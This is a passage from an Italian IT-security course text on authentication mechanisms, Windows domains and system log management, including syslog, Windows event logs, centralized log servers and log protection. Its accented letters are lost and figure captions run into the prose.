tenticare sia chi afferma di essere. In questo modo, la fun-
zione autenticatrice verifica che il response sia stato gene-
rato dal possessore della chiave privata, a conferma delli-
dentit del soggetto.
Lutilizzo di meccanismi challenge/response crittografici
protegge dagli attacchi di tipo replay, in cui parte del traf-
fico viene registrato per essere riutilizzato, in seguito, in
modo illecito. Daltra parte, le funzioni di crittografia asim-
metrica, per il numero di calcoli e la dimensione delle chia-
vi, sono computazionalmente pesanti e hanno un sensibi-
le impatto sulle prestazioni. Pertanto hanno un utilizzo li-
mitato e sono accompagnate solitamente da funzioni di
crittografia simmetrica, molto pi rapide da eseguire. Pro-
tocolli some SSL e SSH utilizzano lautenticazione asimme-
trica allinizio della connessione, quindi costruiscono e si
scambiano una chiave simmetrica casuale per la cifratura
del traffico della connessione (ogni sessione usa una chia-
ve diversa). Questo tipo di autenticazione, spesso, include
luso di certificati per la distribuzione e la verifica delle
chiavi pubbliche (per esempio, SSL richiede che almeno il
server si autentichi presso il client tramite certificato).
Hashed MAC
Le funzioni hash (come MD5 e SHA, citate nella seconda
lezione) possono essere utilizzate per garantire autenticit
e integrit tramite Message Authentication Code e luso di
chiavi asimmetriche. Il meccanismo consiste, essenzial-
mente, nel concatenare una chiave simmetrica e il testo da
autenticare, calcolando quindi lhash della stringa risul-
tante (vedi RFC 2104). Qualunque modifica al testo altera
lhash e viene scoperta; solo chi in possesso della chiave
in grado di generare lhash, che per tale motivo viene det-
to MAC. Per incrementare ulteriormente la robustezza del
MAC, si applica solitamente un ulteriore algoritmo HMAC,
che comporta ulteriori manipolazioni logiche e calcoli di
hash a partire dal MAC gi calcolato.
Tale meccanismo garantisce lintegrit e lautenticit
del messaggio, ma non protegge da attacchi replay, che
hanno lo scopo dingannare i meccanismi di autenticazio-
ne riciclando informazioni di autenticazione precedente-
mente intercettate. Per ottenere anche tale protezione,
necessario che ogni pacchetto sia dotato di un identifica-
tore unico, per esempio basato su un contatore progres-
sivo. Si tratta del meccanismo usato da IPSEC (IP Security,
vedi RFC 2085) per garantire sia autenticit e integrit, sia
protezione da replay per ogni pacchetto trasmesso. IPSEC
comunemente usato per proteggere i collegamenti VPN
(reti private virtuali).
Domini e controllo degli accessi
I domini sono stati uno dei fondamenti delle reti Win-
dows fin dai tempi di Windows NT. Un dominio un rag-
gruppamento logico di elementi di rete: computer, utenti,
stampanti e altri componenti che costituiscono la rete e
che permettono agli individui di svolgere il proprio lavoro.
Dato che raggruppa tali oggetti in una singola unit, il do-
minio definisce uno spazio amministrativo in cui si posso-
no controllare gli utenti e i computer. In Windows Server
2003, un dominio condivide anche un database comune di
directory, le politiche di sicurezza e le relazioni con altri
eventuali domini della rete.
La sicurezza, in particolare lautenticazione degli utenti,
uno degli aspetti principali che caratterizzano un dominio.
Un utente, una volta autenticato, viene riconosciuto in mo-
do trasparente da tutte le applicazioni che si appoggiano al
dominio stesso. Il meccanismo principale di autenticazione
allinterno di Windows 2000/2003 il protocollo Kerberos5
(definito dalla RFC 1510), con unestensione per luso della
crittografia asimmetrica nella fase di preautenticazione.
Kerberos prevede anche, opzionalmente, la cifratura del-
lintera sessione tra utente e servizio. Windows non usa ta-
le opzione, ma si appoggia a SSL oppure a IPSEC, quando sia
necessario cifrare il traffico.
I domini da Windows Server 2000 hanno una maggiore
flessibilit rispetto a quelli di Windows NT. Utilizzano una
struttura gerarchica ad albero, analoga a quella dei Realm
di Kerberos, e possono fare parte di alberi e foreste com-
prendenti numerosi domini. I meccanismi di trust (fiducia)
tra domini permettono inoltre, a un utente definito in un
dominio, di accedere alle risorse di un altro dominio.
Un Domain Trust una relazione tra due domini che per-
mette, a un utente definito in un dominio, di essere auten-
ticato attraverso il domain controller di un altro dominio e,
quindi, accedere alle relative risorse. La relazione di fiducia
tra due domini pu essere monodirezionale (one-way) o bi-
direzionale (two-way), e pu riguardare domini Windows
2000/2003, domini Windows NT o reami Kerberos5. Fra do-
mini padri e figli di un albero, e fra le radici di alberi ap-
partenenti a una stessa foresta, esiste una relazione di fi-
ducia bidirezionale transitiva (la relazione di fiducia tran-
sitiva se, assunta la fiducia tra A e B e tra B e C, esiste la fi-
ducia tra A e C).
5.7.4.3. Conoscere
l'autenticazione al
dominio
Utenti e computer in un
dominio di Windows
Server 2003
Impostazioni di
sicurezza di un dominio
Gestione dei log
Log, nel contesto informatico, il sostantivo che indica
il registro delle attivit giornaliere. Il verbo log indica la-
zione di registrare informazioni in un registro, che in que-
sto contesto un file di log, ovvero un file di testo in cui
qualche componente software registra le operazioni ese-
guite o gli eventi rilevati.
I log hanno principalmente i seguenti utilizzi:
1. debug: in caso di errore di un programma, a scopo dia-
gnostico, necessario sapere quali operazioni sono sta-
te compiute appena prima;
2. sicurezza: in caso di compromissione, o nel corso del mo-
nitoraggio preventivo, i log possono procurare informa-
zioni su attivit anomale o sospette;
3. statistiche: i file di log procurano informazioni sullutiliz-
zo di hardware e software e sui comportamenti degli
utenti.
Nellambito della sicurezza, molte informazioni possono
essere trovate nei normali record di log registrati dal siste-
ma e dalle applicazioni; a queste, si aggiungono le segnala-
zioni sui tentativi di violazione che i meccanismi di sicu-
rezza registrano in appositi file di log.
Le informazioni nel log di sistema
I log del sistema operativo sono la prima fonte di infor-
mazioni sugli eventi che riguardano la sicurezza, sia perch
contengono le informazioni registrate dai componenti del
sistema, sia perch anche le applicazioni possono regi-
strarvi informazioni. Vedremo i log applicativi nel prossimo
capitolo.
Nei sistemi Unix e derivati, i log di sistema sono gestiti
da syslog, un protocollo che permette a un computer din-
viare notifiche di eventi localmente, o attraverso una rete
IP, a collettori di messaggi detti Syslog Server o Syslog Dae-
mon. Un daemon, nel gergo Unix, un programma esegui-
to in background, solitamente sotto forma di processo, le-
quivalente di un servizio in Windows; in Linux daemon e
servizi sono termini equivalenti. In ambiente Windows, le
implementazioni di syslog funzionano come servizi (avvia-
ti insieme al sistema operativo) o come normali program-
mi applicativi (eseguiti su comando). Un computer o un di-
spositivo (per esempio un firewall) pu essere configurato
in modo da generare messaggi syslog e inviarli a uno spe-
cifico daeamon (server) syslog, specificandone indirizzo IP
e porta. I messaggi syslog si basano sul protocollo UDP
(User Datagram Protocol), e sono ricevuti di default sulla
porta 514.
I messaggi syslog sono composti di tre parti:
1. Priorit, costituita da due componenti: severity, un valo-
re da 0 a 7 (0 significa emergenza; minore il valore, pi
grave il problema) e facility, un numero da 0 a 23 che in-
dica il componente di sistema o lapplicazione che invia
il messaggio (facility, in inglese, una risorsa che agevo-
la unoperazione o azione, in questo contesto un sistema
o sottosistema).
2. Intestazione, che riporta data, ora e lidentificazione del
mittente (nome dellhost, oppure suo indirizzo IP).
3. Contenuto del messaggio, preceduto da un campo tag con
il nome del programma o processo che ha generato il
messaggio.
Il protocollo syslog, introdotto negli anni 80, tuttora in
evoluzione e in attesa che la bozza delle specifiche sia ap-
provata dallIETF (Internet Engineering Task Force).
Il principale componente nellimplementazione di syslog
syslogd, un daemon in ascolto su un socket Unix per il log-
ging locale (tipicamente /dev/log) o sulla porta UDP 514
per il logging remoto. I messaggi possono essere inviati, nel
formato sopra descritto, da qualunque applicazione o
utente che abbia i privilegi necessari. Il formato syslog per-
mette di marcare i messaggi secondo le categorie di infor-
mazioni. La facility distingue, ad esempio, se il messaggio
proviene dal sistema di posta o da quello di stampa; la se-
verity (criticit) prevede otto possibili valori:
0 Emergenza: il sistema inutilizzabile
1 Allerta: si deve intraprendere unazione immediata
2 Critico: condizioni critiche
3 Errore: condizioni di errore
4 Avviso: condizioni di attenzione
5 Notifica: condizione normale ma da segnalare
6 Informativo: messaggi informativi
7 Debug: messaggi a livello debug.
In base al contenuto di un file di configurazione, tipica-
mente /etc/syslog.conf, il daemon syslogd smista i messag-
gi secondo i valori di facility e severity, salvandoli in file lo-
cali diversi o inviandoli a un syslogd remoto sulla porta UDP
514.
Nelle moderne distribuzioni Linux, le utitlity per la vi-
sualizzazione dei log mostrano un assortimento di file di
log, solitamente residenti in /var/log.
Esistono diverse implementazioni di syslog per Win-
dows. Una delle pi diffuse Kiwi Syslog Daemon, di Kiwi
Enterprises, disponibile anche in versione freeware presso
www.kiwisyslog.com. E unutility potente e flessibile, in
grado di monitorare porte UDP, TCP e SNMP (Simple
Network Management Protocol, usato per il monitoraggio
dei dispositivi connessi alla rete). Kiwi Syslog Daemon
particolarmente utile per il monitoraggio remoto; il log mo-
strato nellesempio si riferisce a messaggi con diversi livelli
di severity inviati da un firewall al computer designato per
la loro raccolta. Il programma mostra anche statistiche dei
messaggi in base a frequenza temporale, grado di severity
e provenienza.
Mentre normale che i componenti del sistema opera-
tivo (Windows o Unix) utilizzino i meccanismi standard per
scrivere i propri log, frequente che le applicazioni gesti-
scano i rispettivi log in modo autonomo e in formato pro-
prietario (solitamente come file di testo per i computer con
5.7.5. Gestione
del log
5.7.5.1. Ricavare dai
log di sistema le
informazioni
maggiormente
rilevanti per la
sicurezza
Visualizzatore del log di
sistema in SUSE Linux
Visualizzatore del log di
sistema in Fedora Core
hard disk, o come testo in ROM per i dispositivi con siste-
ma operativo in firmware).
Le informazioni rilevanti ai fini della sicurezza che si pos-
sono trovare nei log sono diverse. Il punto chiave che si
tratta di informazioni che i processi sono programmati per
registrare, e che talvolta richiedono unattivazione esplici-
ta della funzionalit (per non ridurre le prestazioni e occu-
pare spazio su disco certi log sono opzionali, come il log de-
gli eventi di sicurezza in Windows XP). Se, ad esempio,
unapplicazione non prevede la registrazione delle auten-
ticazioni fallite, non se ne trover traccia nei log, a meno
che non si appoggino a meccanismi di sistema come lau-
tenticazione centralizzata presso un dominio, o a un server
centrale di autenticazione.
Le prime informazioni che si possono trovare nei log ri-
guardano le fasi di avvio del sistema, dato che il sottosi-
stema di logging uno dei primi a essere avviato, cos da re-
gistrare quali altri servizi vengono avviati, e con quale esi-
to. Informazioni tipiche che si trovano nei log di sistema ri-
guardano le autenticazioni fallite presso i diversi sottosi-
stemi e gli accessi remoti ai servizi, oltre alle informazioni
che servizi e applicazioni registrano di routine tramite il
servizio di logging.
Come Unix e derivati, anche Windows utilizza diversi fi-
le di log, situati per default nella directory dove si trova la
maggior parte dei file del registro di sistema (WIN-
DOWS\system32\config), ma rilocabili editando il registro.
Lutility Event Viewer permette di visualizzare le principali
categorie dei messaggi di log, che in Windows XP sono Ap-
plicazione, Protezione e Sistema. Gli eventi di protezione
non sono registrati, a meno che tale funzione sia attivata at-
traverso la seguente procedura:
1. Fare clic su Start, scegliere Esegui, digitare mmc /a (si no-
ti lo spazio tra mmc e /a) e, quindi, fare clic su OK.
2. Scegliere Aggiungi/Rimuovi snap-in dal menu File, quindi
fare clic su Aggiungi.
3. In Snap-in selezionare Criteri di gruppo e fare clic su Ag-
giungi.
4. In Selezione oggetto Criterio gruppo selezionare Computer
locale e fare clic su Fine, Chiudi e, quindi, OK.
5. In Directory principale selezionare Criteri del computer lo-
cale e, quindi, fare clic su Criteri controllo. Il percorso :
Criteri del computer locale > Configurazione computer >
Impostazioni di Windows > Impostazioni protezione > Cri-
teri locali > Criteri controllo.
6. Nel riquadro dei dettagli, fare clic con il pulsante destro
del mouse sull'attributo o sull'evento che si desidera
controllare.
7. In Propriet selezionare le opzioni desiderate, quindi sce-
gliere OK.
8. Ripetere i passaggi 6 e 7 per gli altri eventi da controlla-
re.
Il Visualizzatore Eventi di Windows XP, per default, as-
segna 512 KB ai file di log e ricicla lo spazio dei messaggi
pi vecchi di sette giorni. Nelle propriet del programma si
possono incrementare tali parametri, per consentire il mo-
nitoraggio degli eventi su periodi pi estesi. In Windows
Server 2003 i valori di default sono decisamente superiori.
Nelle distribuzioni Linux, solitamente, viene utilizzata la ro-
tazione dei log, come illustrato al punto 5.7.6.4.
Unaltra visualizzazione disponi-
bile in Windows il Registro Errori
(Start > Guida in linea > Utilizza gli
strumenti> Informazioni avanzate
sul sistema > Visualizza Registro Er-
rori).
In Windows, un vasto repertorio
Visualizzazione di
messaggi in Kiwi Syslog
Distribuzione
temporale dei
messaggi in Kiwi Syslog
Daemon
Distribuzione dei
messaggi per criticit
in Kiwi Syslog Daemon
Attivazione della
registrazione degli eventi
di protezione in Windows
Visualizzatore degli
eventi di sistema in
Windows
eventi di protezione in
Windows
eventi applicativi in
Windows
di eventi di protezione pu essere registrato e monitorato
attivando le Security Policy (criteri di protezione). In parti-
colare, il Service Pack 2 di Windows XP ha ulteriormente
ampliato il numero di criteri che possono essere definiti.
Inoltre, disponibile una serie di security template (modelli
di protezione) che definiscono diverse serie di criteri di
protezione per i vari tipi di utilizzo del computer, per esem-
pio membro di un dominio, workstation ad alta sicurezza,
sicurezza ridotta per compatibilit con altri ambienti, e co-
s via.
Va sottolineato che laccesso ai log in generale, e in par-
ticolare alle informazioni relative alle autenticazioni fallite,
deve essere ristretto agli amministratori che ne hanno ne-
cessit. Non raro che un utente inserisca frettolosamen-
te nome utente e password al logon, talvolta col risultato
di inserire la password nel campo del nome utente. Tale
informazione non deve comparire in chiaro nei log, per
non compromettere le password.
Una delle abilit esercitate da chi pratica le intrusioni
pi sofisticate consiste nel manipolare i log per cancellare
ogni traccia delle incursioni nel sistema. Per questo moti-
vo, nei sistemi che utilizzano syslog, oltre a tenere aggior-
nato il sistema ogni volta che rilasciata una patch per ri-
mediare a eventuali falle di syslog, importante assicurare
che venga tenuta traccia del fatto che il sistema stato ma-
nomesso. Ci particolarmente difficile quando un attac-
cante ha i privilegi di root e pu accedere ai file di log. La
soluzione sfruttare la capacit di syslog dinviare una co-
pia dei messaggi di log a un server remoto. Per esempio,
per inviare una copia dei messaggi relativi a kernel, posta
e news a un server syslog remoto (con hostname pcremo-
to), basta aggiungere la linea che segue al file di configura-
zione /etc/syslog.conf:
kern.*, mail.*, news.*[TAB]@pcremoto
(dove con [TAB] si intende un carattere di tabulazione)
Dopo tale modifica, occorre inviare un segnale HUP
(hang-up) al daemon syslog per forzarlo a rileggere il file di
configurazione:
[giovanni]$ sudo killall HUP syslogd
Si tenga presente che non tutti i servizi sono in grado di
essere configurati o di inviare messaggi di log via syslog. In
tal caso, si dovrebbe usare il comando cron per spostare i
relativi file di log a un server remoto parecchie volte al
giorno (pi spesso avviene, meglio ).
I log applicativi
Le applicazioni hanno due possibilit di logging: ap-
poggiarsi al sottosistema di logging del sistema operativo,
o utilizzare file propri. Una terza possibilit consiste nel re-
gistrare le informazioni in una finestra di tipo consolle.
Mentre ci sono vantaggi nellutilizzare la funzionalit di log-
ging del sistema operativo, talvolta ci sono motivi per sce-
gliere soluzioni alternative.
Il log di certe informazioni pu avere, ad esempio, unu-
tilit temporanea limitata alla fase di debug e diagnosi di
un problema. Nel caso del mancato avvio di unapplica-
zione o di un servizio, la comprensione delle cause pu ri-
chiedere una serie dinformazioni dettagliate sulla fase di
avvio, ma non occorre conservare tali informazioni per un
tempo pi o meno prolungato, come avviene per i file di
log. In casi del genere preferibile utilizzare un file appo-
sito, anche solo per la durata della sessione; in alternativa,
si possono visualizzare in una finestra le informazioni su-
gli eventi di interesse.
Un altro motivo per visualizzare le informazioni in una
finestra pu essere la necessit dinviare un allarme im-
mediato; in tal caso, una copia delle informazioni dovreb-
be essere anche registrata nei log. In effetti, comune che
la configurazione di syslog preveda che i messaggi con li-
vello di severity emerg siano replicati anche sulla console
di sistema, nella speranza che siano notati e determinino
unazione immediata.
Altre ragioni per gestire i log separatamente possono
derivare dal loro utilizzo specifico. Un esempio tipico
quello dei log di accesso a un Web server; essi compren-
dono una notevole quantit di dati, utilizzati soprattutto
per rilevamenti statistici e per analizzare laccesso al ser-
ver con appositi strumenti. Avere tali informazioni distri-
buite nel log di sistema causerebbe soltanto disagio e inef-
ficienza.
Le modalit per configurare i log di unapplicazione so-
no svariate. Possono includere la selezione dei tipi di even-
ti da registrare (che possono essere ridotti o ampliati in ba-
se alle circostanze) o limitarsi a indicare un livello di de-
bugging o di verbosit dei messaggi, quando lattenzione
rivolta pi alla soluzione di
problemi che a istanze di
sicurezza. In altri casi, un fi-
le di configurazione per-
mette una definizione pi
granulare degli eventi da
registrare. Lesempio che
segue si riferisce alla defi-
nizione dei tipi di evento re-
gistrati da Diskeeper, il
principale deframmentato-
re per Windows. Le impo-
stazioni di default causano uneccessiva occupazione del
log applicativo di Windows, il che suggerisce di attivare il
log di Diskeeper solo in caso di problemi.
Visualizzazione del
Registro Errori in
Windows
5.7.5.2. Sapere in
che modo configurare
il logging delle
applicazioni
La definizione degli
eventi da registrare nel
log di Diskeeper
Visualizzatore eventi di
Spyware Doctor
Altri esempi di applicazioni che registrano file di log so-
no quelle di sicurezza: antivirus, firewall e antispyware, il
corredo standard di un computer collegato a Internet.
Un altro esempio la gestione del logging da parte di un
server OpenSSH, che si appoggia a syslog. Il file di configu-
razione sshd_config include una sezione dedicata al logging,
dove si pu indicare sia una facility per syslog (il default
AUTH), sia un livello di verbosit che va da QUIET a DE-
BUG3 (il default INFO). Normalmente, il logging avviene
via syslog, ma si pu usare lopzione d della linea di co-
mando, che dice al processo di rimanere connesso al ter-
minale (anzich andare in background) e dinviare al ter-
minale stesso informazioni equivalenti al livello di verbo-
sit DEBUG1. Lopzione d pu essere ripetuta fino a tre vol-
te per raggiungere il livello DEBUG3.
Al contrario, le funzionalit di logging del server Apache
2.0 sono estremamente estese, grazie anche al modulo di
configurazione mod_log_config, e prevedono:
1. lutilizzo di diversi file di log specifici per registrare ac-
cessi, errori e altre attivit legate a specifici moduli (co-
me gli accessi via SSL);
2. la possibilit dindicare un livello di verbosit per gli er-
rori;
3. la possibilit dindicare nella linea di comando, con le op-
zioni e e E, il livello di debug e il file in cui salvare le
informazioni (in alternativa, a inviarle alla console come
visto per OpenSSH);
4. la possibilit di personalizzare il formato delle voci dei fi-
le di log.
Windows Server 2003 mette a disposizione una serie di
log di sistema in Visualizzatore Eventi, con la possibilit
dinterrogare i log file di altri computer in rete. I log di IIS so-
no invece separati e includono molte pi informazioni, co-
me, ad esempio, i visitatori del sito, il contenuto visualiz-
zato e l'ora di ultima visualizzazione. Tali log permettono di
monitorare l'esito degli accessi ai siti, ed eventi come la let-
tura e scrittura di file. Gli eventi possono essere registrati
indipendentemente per siti, cartelle e file. I log di IIS utiliz-
zano per default il formato standard W3C (World Wide Web
Consortium) Extended Log File Format, compatibile con
molte utility di terze parti; sono supportati anche altri for-
mati, tra cui l'invio dei record a un database tramite ODBC
(Open DataBase Connectivity). I file risiedono per default in
sottodirectory di WINDOWS\system32\LogFiles; ogni gior-
no viene creato un log file di nome exaammgg.log (dove
aammgg rappresenta anno, mese e giorno).
Windows non include la funzione di logging remoto de-
gli eventi, ma esistono utility come NTsyslog per ovviare a
tale carenza.
Visualizzazione del log
antivirus di ZoneAlarm
IIS Manager in Windows
Server 2003
l file sshd_config di
configurazione di
OpenSSH
Propriet di un sito web
in IIS Manager
Propriet generali del
logging in IIS
Propriet avanzate del
logging in IIS
Visualizzatore eventi in
Windows Server 2003
I log server centralizzati
Quando si deve gestire un certo numero di host, luso di
sistemi di log locali sulle singole macchine diventa rapi-
damente ingestibile. La soluzione di utilizzare un sistema
di logging centralizzato, con linvio dei messaggi di log dei
singoli sistemi e dispositivi di rete a ununica macchina adi-
bita a log server. Tramite appositi software, gli eventi pos-
sono essere inseriti in un database relazionale, che rende
pi agevole la loro selezione e analisi.
Luso di un log server centralizzato presenta vantaggi
anche dal punto della sicurezza:
1. i log sono protetti: in caso di manomissione di un siste-
ma, lattaccante non pu cancellare dal log centrale le
tracce della propria presenza;
2. si possono rilevare le correlazioni tra eventi di sistemi di-
versi, rilevando attacchi che potrebbero sfuggire allesa-
me dei log dei singoli host.
Alcune precauzioni nellallestire un log server sono le
seguenti:
1. rendere sicura lubicazione: collocare il log server in un
luogo fisicamente sicuro, dietro un firewall e con regole
che filtrino laccesso alla macchina;
2. disattivare tutti i servizi: la macchina deve essere confi-
gurata in modo che la sua unica funzione sia raccoglie-
re i file o i dati (se si usa un database) di log. Si devono
evitare altri usi, come server di stampa o di altri servizi
di rete. Tutti i servizi non necessari devono essere di-
sattivati.
3. Disattivare tutti i servizi Inetd (inetd o xinetd il daemon
che funge da superserver per una serie di servizi di re-
te): gli unici servizi attivi nella configurazione Inetd do-
vrebbero essere syslog (per ricevere i log) e SSH(per ve-
dere i log).
4. Disattivare i servizi RPC (Remote Procedure Call): i ser-
vizi RPC, attivi per default, non sono necessari.
5. Disattivare tutti gli account non necessari: lunico ac-
count necessario quello di un log administrator.
6. Regolare lorologio: perch i log abbiano un significato
coerente, occorre sincronizzare i clock di tutti i compu-
ter e dispositivi che inviano messaggi di log, preferibil-
mente impostando laccesso periodico a un time server
NTP (Network Time Protocol).
Una tecnica usata quella di non assegnare un indiriz-
zo IP al server di log o, perlomeno, non farlo sulla scheda
che riceve i log, mettendola in modo 'promiscuo' in modo
da poter leggere i pacchetti UDP e inserirli nei log. In tal
modo, il log server diventa molto pi difficilmente attac-
cabile.
Luso di un log server centralizzato pu presentare due
problemi: il primo che i formati di logging delle applica-
zioni e dei sistemi operativi sono spesso diversi; il secon-
do che il trasferimento di log in rete presenta rischi din-
tercettazione o di denial of service. Syslog sensibile al se-
condo problema, dato che per motivi di efficienza utilizza
il protocollo UDP (quindi eventuali perdite di pacchetti
passano inosservate).
Per affrontare tali problemi, lIETF ha costituito il grup-
po di lavoro Security Issues in Network Event Logging (Sy-
slog) con lo scopo di definire un formato standard per i
messaggi, oltre che meccanismi affidabili di consegna dei
messaggi. In particolare, la RFC 3195 definisce il trasferi-
mento di messaggi syslog su TCP (che permette la prote-
zione opzionale con SSL, per esempio con lapplicazione
Stunnel). Ulteriori meccanismi, come la firma dei messag-
gi di log, sono ancora allo stato di bozza. Esistono, co-
munque, numerosi prodotti commerciali che installano
propri agenti che provvedono alla normalizzazione dei
messaggi di log generati dai sistemi e software pi comu-
ni, che poi inviano a un log server centralizzato.
Un esempio di agente per il logging centralizzato in am-
biente Windows NTSyslog, distribuito con licenza open-
source. Il parametro principale di configurazione
HKEY_LOCAL_MACHINE\SOFTWARE\SaberNet\Syslog, nel
quale va indicato il nome dellhost remoto. Si possono an-
che selezionare gli eventi di cui si desidera il logging.
Si pu anche eseguire lopposto, cio il log centralizza-
to in formato syslog su un server Windows, tramite appli-
5.7.5.3. Sapere in
che modo predisporre
un servizio di log
centralizzato
Attivazione del
sincronismo periodico del
clock di un firewall tramite
accesso a server NTP
Attivazione del log
remoto in un firewall
Logging syslog
centralizzato su Windows
tramite Datagram
SyslogServer
cazioni come Datagram SyslogServer
(www.syslogserver.com).
Vediamo ora una configurazione minima per un log ser-
ver centralizzato. Il primo passo configurare i sistemi di
logging degli host della rete in modo che inviino i messag-
gi al server centrale. Quindi, bene selezionare le infor-
mazioni che si desidera inviare al server; per esempio, in
caso di problemi hardware, un sistema pu generare un
enorme numero di messaggi che appesantiscono inutil-
mente il server e rischiano di far perdere segnalazioni im-
portanti. Perci, alcuni tipi di messaggi possono essere la-
sciati sui log locali o inviati in modo selettivo. Pu essere ad
esempio utilizzato Syslog-ng, un prodotto di BalaBit
(www.balabit.com) che tenta di migliorare la flessibilit di
syslog agendo sulle aree di filtraggio, inoltro dei messaggi,
integrit e cifratura dei messaggi, reporting remoto via UDP
e TCP. Syslog-ng incluso in alcune distribuzioni Linux, co-
me SUSE Linux 10. Qui ne esaminiamo alcuni aspetti di con-
figurazione per i lati client e server.
Sul client una configurazione di base richiede, come mi-
nimo, lindicazione di accettare messaggi sul socket Unix
locale e di trasmetterli al log server centrale, per esempio:
options {sync(0);};
source src {unix-stream("/dev/log"); internal()};
destination dst {tcp("192.168.0.50" port(999);};
log {source(src); destination(dst);};
Con un syslog tradizionale, l'invio di messaggi a un ser-
ver remoto (via UDP) si otterrebbe inserendo in /etc/sy-
slog.conf una linea del tipo:
*.* @192.168.0.50
In generale, si dovrebbero inoltrare al server centrale
tutti i messaggi riguardanti la sicurezza, lasciando sul log
locale quelli che costituirebbero un inutile sovraccarico
per il server centrale.
Sul server si dovr indicare di accettare connessioni sul-
la porta indicata, per esempio:
source s_tcp {tcp(ip(192.168.50.0) port(999) max-
connections(10));};
In tal modo, il traffico viaggia in chiaro e chiunque pu
quindi connettersi al log server. Pu essere perci preferi-
bile utilizzare Stunnel, un programma per Windows e Linux
per cifrare le connessioni TCP tramite SSL. Esso consente
l'autenticazione del client, mentre si pu proteggere la por-
ta su cui syslog-ng in ascolto con iptables (istruzione per
definire le regole dei firewall Linux) e, in aggiunta o alter-
nativa, impostare come indirizzo di ascolto 127.0.0.1 (l'ho-
st locale).
Con il tradizionale syslog, la ricezione dei messaggi dal-
la rete avviene sulla porta UDP 514, che solitamente non
attiva per default, quindi deve essere abilitata tramite le op-
zioni di configurazione di syslogd. Il traffico sar in chiaro,
senza l'opzione di usare SSL.
Sul server centralizzato, la soluzione pi semplice per la
gestione dei messaggi salvarli in pi file, inserendo nel fi-
le di configurazione voci del tipo:
destination mailinfo {file("/var/log/mail.info");};
filter f_mailinfo {facility(mail) and level(info);};
log {source(src); filter(f_mailinfo); destination(mailinfo);};
Tuttavia, una volta realizzato un log server centralizza-
to, pu essere preferibile appoggiarsi a un database SQL,
che offre maggiore flessibilit nella gestione di un numero
potenzialmente elevato di messaggi e nella ricerca. Esisto-
no allo scopo numerosi tutorial, tra cui Centralized syslog-
ng to Mysql, disponibile presso http://vermeer.org/di-
splay_doc.php?doc_id=1.
Esistono decine di strumenti, anche gratuiti, per l'anali-
si dei file di log, sia di sistema sia, soprattutto, dei Web ser-
ver. Altre utility permettono di trasferire i messaggi dai file
di log a database SQL, come MySQL e PostgreSQL. Tra i Web
log analyzer gratuiti citiamo Logrep, AVVStats, http-analy-
ze, Analog e Webalizer.
La protezione dei log
I log sono una fonte importante di informazioni per la ge-
stione dei sistemi e, in particolare, per il rilevamento di
eventi attinenti aspetti di sicurezza. Inoltre, essi possono
costituire prove importanti in caso di investigazioni, peri-
zie e contenziosi che coinvolgano le attivit svolte sui si-
stemi. Per questo, importante garantirne l'integrit, la
correttezza (per esempio data e ora esatte) e l'affidabilit.
In base a uno studio recente del CERT/CC (Computer
Emergency Response Team Coordination Center) e dell'US
Secret Service, circa due terzi degli attacchi esaminati (ri-
guardanti 49 casi recenti di sabotaggio a settori critici del-
l'infrastruttura) proveniva da insider, cio da personale del-
le organizzazioni colpite (59% di ex dipendenti e 41% di di-
pendenti effettivi). Gli insider erano per l'86% impiegati in
ruoli tecnici: 38% amministratori di sistema, 21% program-
matori, 14% tecnici e 14% specialisti informatici. Sebbene a
volte tale evidenza non sia accettata senza resistenze, un
fatto che almeno negli USA system administrator e tec-
nici siano i primi a essere sospettati in caso di sabotaggio
(intrusioni con gravi danni).
Anche se tali fatti non implicano un'identica situazione
europea o italiana, conviene tuttavia prevenire simili rischi
definendo adeguate policy di sicurezza, e predisponendo le
contromisure necessarie. Pertanto la protezione, anche dei
log, deve pure valere nei confronti degli amministratori dei
singoli sistemi o sottosistemi, in modo che i log non pos-
sano essere alterati, nemmeno se un amministratore abu-
sa dei propri privilegi di accesso. Per le problematiche di si-
curezza, in primo luogo relative all'autenticazione, sar be-
ne fare uso dei log di sistema utilizzando un server centra-
lizzato remoto, accessibile solo a una cerchia ristretta e fi-
data di amministratori (in ambienti ad alta sicurezza si pos-
sono ripartire le responsabilit in modo che nessun crimi-
ne possa essere commesso senza la complicit tra pi per-
sone). Si manterr, comunque, una copia locale dei log in
modo da non perdere le informazioni in caso di mancata
connettivit con il server centrale remoto.
Mentre l'archiviazione a lungo termine dei log pu ri-
guardare particolari categorie di dati, in generale i log ven-
gono salvati a rotazione, rimpiazzando i dati pi vecchi con
quelli pi recenti. Il criterio pu essere basato sull'occupa-
zione di spazio su disco o sul periodo di tempo che si de-
sidera monitorare. Windows prevede un ingombro massi-
mo dei file di log e offre varie opzioni: cancellare gli eventi
pi vecchi di un certo numero di giorni, cancellare eventi
una volta raggiunta la dimensione massima dei log, e can-
cellare i log manualmente. Si pu anche stabilire che il si-
stema si blocchi quando il log di sicurezza pieno, in mo-
do che anche generando un alto numero di messaggi non
si possano cancellare precedenti eventi che si vogliono na-
scondere.
I sistemi Unix utilizzano, invece, tecniche di rotazione
basate generalmente su task attivati periodicamente (tipi-
camente una volta al giorno) dal daemon cron. Uno stru-
mento di uso comune logrotate: in base alle impostazioni
di un file di configurazione, quando esso attivato rinomi-
na i file di log numerandoli in sequenza, e ne crea di nuovi.
Definendo, ad esempio, una rotazione su base giornaliera
e stabilendo un numero di file conservati pari a sette, si
possono registrare i log di una settimana, dopo di che ini-
zia la rotazione e il file pi recente rimpiazza quello pi vec-
chio, ricominciando con la numerazione (per esempio, da
/var/log/messages1 a /var/log/messages7). Inoltre, prima e
dopo la rotazione, si possono eseguire comandi e i log ar-
5.7.5.4. Sapere in
che modo proteggere
i log di sistema da
manomissioni
chiviati possono essere compressi. I log devono essere
scrivibili solo dai processi adibiti alla rotazione e dagli am-
ministratori addetti al logging, che per esempio devono po-
ter ripristinare il servizio di logging in caso di malfunzio-
namenti. Resta inteso che i diritti di scrittura servono solo
a tale scopo, e che in nessun caso autorizzata l'alterazio-
ne dei contenuti dei file di log.
Come gi citato, la corretta registrazione di data e ora,
sincronizzata con un server NTP (Network Time Protocol),
essenziale per determinare i periodi di connessione degli
utenti nell'ambito delle indagini sia tecniche, sia forensi.
Considerando che i file di log possono assumere di-
mensioni notevoli, buona norma collocare i log in un file-
system dedicato a tale attivit, in modo da prevenire in-
convenienti (tra cui il blocco del sistema) se, nel periodo di
rotazione dei file, si verifica una crescita improvvisa del-
l'ingombro dei file (per esempio, a causa di un'alluvione di
messaggi di errore dovuti a un guasto).
Recentemente sono stati sviluppati strumenti che pre-
vedono la firma dei log sia in fase di scrittura, sia in fase di
archiviazione, o la generazione di checkpoint (punti di ve-
rifica) in cui si calcolano checksum(somme di verifica) sul-
